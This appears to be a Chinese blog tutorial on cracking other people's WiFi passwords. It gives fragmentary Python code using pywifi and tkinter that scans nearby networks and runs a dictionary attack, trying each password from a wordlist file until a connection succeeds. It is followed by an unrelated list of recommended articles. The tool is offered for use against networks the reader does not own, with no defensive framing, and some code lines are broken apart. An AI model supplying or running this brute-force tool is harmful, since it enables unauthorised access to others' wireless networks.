怎样破解wifi密码

现在每个家庭都有WiFi!大家都以为为了防止别人蹭WiFi密码设置复杂一点,万能钥匙就破解不了!今天给大家看看python工程师是怎么破解WiFi密码的!今天利用python中的pywifi模块来写这个程序!上教程

怎样破解wifi密码

一、获取密码文件的路径

self.get_value = StringVar()

二、获取WiFi账号

self.get_wifi_value = StringVar()

三、获取WiFi密码

self.get_wifimm_value = StringVar()

四、抓取网卡接口

self.wifi = pywifi.PyWiFi()

五、抓取第一个无线网卡

self.iface = self.wifi.interfaces()[0]

六、测试连接断开所有网址

self.iface.disconnect()

七、测试网卡是否属于断开状态

assert self.iface.status() in

[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

怎样破解wifi密码

八、自动会调用的函数,返回自身的网卡

return ‘(WIFI:%s,%s)’ % (self.wifi,self.iface.name())

九、搜索WiFi

#开始扫描

print(“^_^ 开始扫描附近wifi…”)

self.iface.scan()

time.sleep(15)

#在若干秒后获取扫描结果

scanres = self.iface.scan_results()

#统计附近被发现的热点数量

nums = len(scanres)

print(“数量: %s”%(nums))

#print (“| %s | %s | %s | %s”%(“WIFIID”,”SSID”,”BSSID”,”signal”))

# 实际数据

self.show_scans_wifi_list(scanres)

return scanres

十、添加密码文件目录

self.filename = tkinter.filedialog.askopenfilename()

self.get_value.set(self.filename)

十一、Treeview绑定事件

self.sels= event.widget.selection()

self.get_wifi_value.set(self.wifi_tree.item(self.sels,”values”)[1])

#print(“you clicked on”,self.wifi_tree.item(self.sels,”values”)[1])

十二、读取密码字典,进行匹配

def readPassWord(self):

self.getFilePath = self.get_value.get()

self.get_wifissid = self.get_wifi_value.get()

pwdfilehander=open(self.getFilePath,”r”,errors=”ignore”)

while True:

try:

self.pwdStr=pwdfilehander.readline()

if not self.pwdStr:

break

self.bool1=self.connect(self.pwdStr,self.get_wifissid)

if self.bool1:

self.res = “===正确=== wifi名:%s 匹配密码:%s “%(self.get_wifissid,self.pwdStr)

self.get_wifimm_value.set(self.pwdStr)


tkinter.messagebox.showinfo(‘提示’, ‘破解成功!!!’)


print(self.res)

break

else:

self.res = “—错误— wifi名:%s匹配密码:%s”%(self.get_wifissid,self.pwdStr)

print(self.res)

time.sleep(3)

except:

continue

十三、对wifi和密码进行匹配

#创建wifi网址文件

self.profile = pywifi.Profile()

self.profile.ssid =wifi_ssid #wifi名称

self.profile.auth = const.AUTH_ALG_OPEN #网卡的开放

self.profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法

self.profile.cipher = const.CIPHER_TYPE_CCMP #加密单元

self.profile.key = pwd_Str #密码


self.iface.remove_all_network_profiles() #删除所有的wifi文件


self.tmp_profile =
self.iface.add_network_profile(self.profile)#设定新的网址文件


self.iface.connect(self.tmp_profile)#网址

time.sleep(5)

if self.iface.status() == const.IFACE_CONNECTED: #判断是否连接上

isOK=True

else:

isOK=False

self.iface.disconnect() #断开

time.sleep(1)

#检查断开状态

assert self.iface.status() in

[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

return isOK

运行结果

怎样破解wifi密码
怎样破解wifi密码

原创文章作者:梦见自己住在工棚里,如若转载,请注明来自百香果号:https://bxg.huangjinbaixiangguo.com/article/155394.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
梦见自己住在工棚里的头像梦见自己住在工棚里
上一篇 2022年8月31日
下一篇 2022年9月1日

网友常看推荐

  • 金丝玉是什么玉值钱吗

    新疆“金丝玉”,是产于中国新疆克拉玛依市 乌尔禾魔鬼城方圆100公里、阶地、戈壁滩、沙漠等地域,是非常具有潜力,可供雕琢艺术品的玉石品种,因产于古丝绸之路玉石为金黄色,内部带萝卜纹…

    2022年9月7日
    03860
  • 新能源车保险比燃油车贵吗

    新能源保费大涨价,从精算师协会的结果来看,25万元是一个门槛。低于25万元的差价不大,高于25万的基本涨幅30%以上。保险公司涨价是基于风险模型来看的,但这个风险模型并不完全是说新…

    2022年3月20日
    06050
  • 房子贷款100万30年利息多少钱

    房子不仅是一个遮风避雨的地方,在许多人眼里,房子还具有保值的作用。许多在大城市打拼的年轻人,即使每月有1万多元的收入,面对高房价也常常无可奈何。 根据统计局数据显示,2021年1~…

    2022年6月8日
    05500
  • 合成橡胶是合成材料吗

    合成橡胶是由人工合成的高弹性聚合物。也称合成弹性体,是三大合成材料之一,其产量仅低于合成树脂(或塑料)、合成纤维。 一、什么叫合成橡胶: 合成橡胶是由人工合成的高弹性聚合物。也称合…

    2022年12月5日
    05180
  • 为什么看透人性的人最可怕

    不管你愿意不愿意相信,普通人就这德行。 恨你有,笑你无;嫌你穷,怕你富。 有时候你会觉得小很多,这就对了,在你无权无势的时候如果没有小人还真是有点奇怪。 要不怎么有“屋漏偏逢连夜雨…

    2022年10月8日
    01.2K0
  • 网上贷款逾期了怎么办

    那么,闲话不多说,直接步入正题,本文章分为【负债原因】【应对方案】【生活现状】三部分。 【负债原因】 刚步入社会上班的时候,收入并不是很多,但是,当时并没有充分认识到自己需求的情况…

    2022年6月19日
    05550
  • 生产日期1年的奶粉能喝吗

    生产日期快一年的奶粉能买,在未开封的情况下,奶粉的保质期通常为三年,生产日期快一年的奶粉,其中的有益成分并没有发生变质,宝宝服用以后不会对身体产生影响,所以放心使用就可以了。 对比…

    2022年10月13日
    05130
  • 倒卖粮食有多大利润

    在河南这样一个种粮大省,粮食是个非常重要的产业,有太多产业链上的相关从业者。在这个偏传统的行业,有这么一群人,被称为“粮食经纪人”,如果现在还想干这行?利润如何呢? 首先对创业的想…

    2022年10月18日
    02.3K0
  • 嫁给一个很穷的家庭是个什么体验

    都说穷人家的孩子早当家,但也不是所有穷人家的孩子都能一下子飞黄腾达。 摆脱贫穷需要一个过程,在这个过程中你需要经历很多坎坷,尤其是爱情。 现在的女人,大多都很物质,你给不了她们想要…

    2022年9月23日
    04440
  • 新手怎么做电商客服

    客服是最直接接触顾客的人员,客服的专业素质可以说直接影响顾客对于店家、产品的印象。那么,问题来了,如何成为具备专业能力的客服人员呢? 一、售前准备作为一个客服,你的目的是:让来的人…

    2022年10月17日
    03540

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注